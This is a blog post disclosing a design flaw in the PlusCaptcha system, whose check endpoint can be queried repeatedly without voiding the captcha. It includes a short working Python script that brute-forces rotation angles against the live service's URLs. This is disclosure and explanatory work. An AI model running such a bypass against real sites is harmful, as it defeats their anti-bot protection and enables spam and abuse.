CrossedCaptcha

Posted on Tue 14 October 2014 in posts

First of all, this research is legit because I have a logo and a name for it. This seems to be a trend right now (heartbleed, shellshock, sandworm) . Afaik the rule is that you must invest the same time into creating the logo as you did in your research.

Creating a captcha system is not as easy as it seems. Presumably your captcha system doesn't have any implementation errors and logic flaws, you are still fighting against andvanced research in image/voice recognition. That's almost like creating your own crypto.

But if you have expected some crazy new algorithm, I have to dissapoint you. It's just another design flaw.

crossed captcha logo

So this post is about yet another broken captcha, and if you are not interested in the technical part, just make sure you remember this:

I promise I will never make my own captcha system.
I promise I will never make my own captcha system.
I promise I will never make my own captcha system.
I promise I will never make my own captcha system.
I promise I will never make my own captcha system.

But let's not beat around the bush for too long. You are reading this because you are interested in what this scary CrossedCaptcha is all about, right?

The captcha system I'm talking about is called PlusCaptcha, which you can use as a standalone script or Wordpress Plugin. For some reason it's even ecological!

pluscaptcha ecology

How did I come up with CrossedCaptcha? Well, a plus (+) and a cross (✝) are very similar. I know that crossed isn't technically crucified, and it makes it less funny, but whatever. You are here because you are interested in the exact vulnerability and you want to know how it's done. And you have read enough technical blah blah articles anyway.

So let's dive in...


This is how the PlusCaptcha looks like. You have to turn the circle to match the background image.

pluscaptcha

It's an embedded iframe with the url http://syshtml5.pluscaptcha.com/i?iduso=42906365. This particular instance has the id 42906365. Everytime this URL is loaded, there will be a new captcha with a different solution be generated.

When you adjust the circle, the iframe will send a POST request to http://syshtml5.pluscaptcha.com/angulo.php with data grados=-90&iduso=%d&size=c&green=0, where grados is the degree of the turned picture. It does this for every adjustment you make.

The following code is the php backend check if the captcha you have entered is correct. It does this by checking http://syshtml5.pluscaptcha.com/r?iduso=42906365:

$host = 'syshtml5.pluscaptcha.com'
$resultado_ejecucion = @fgets(@fopen('http://'.$host.'/r?iduso='.$datosent[0]. '', 'r'), 4096);
// Acertar si acertó con el captcha | engl.: Hit if hit with captcha
if($resultado_ejecucion) {
    return true;
}else{
    return false;
}

Now you would expect, that once you asked the server if the captcha you previously entred was correct, it would void this particular captcha.

But it doesn't.

So you can just "adjust the circle" and ask if it was correct until you found the correct position and then submit your form.

A bit of testing has also shown that you have a tollerance from around 50-70 degree:

degree 148-219 are correct (70 degree tollerance)
degree  98-169 are correct (70 degree tollerance)
degree 177-226 are correct (50 degree tollerance)
degree 255-304 are correct (50 degree tollerance)

So you only have to test a handfull of numbers to crack the captcha:

import urllib2
def solve(iduso):
    for i in range(0, 360, 50):
        urllib2.urlopen("http://syshtml5.pluscaptcha.com/angulo.php", 
                        "grados=-%d&iduso=%d&size=c&green=0" % (i,iduso)).read()
        if urllib2.urlopen("http://syshtml5.pluscaptcha.com/r?iduso=%d" % iduso).read() == '1':
            return i
    return 'fail'
print solve(42906365)

A simple solution would be to void the captcha after the server has checked it once. But then you still have a ~14%-20% chance on beeing correct just by guessing. And because you only have a limited amount of pictures you can easily presolve them anyway. Besides that, this implementation is also not barrier free.

If I had to suggest a captcha solution, then it would be reCaptcha...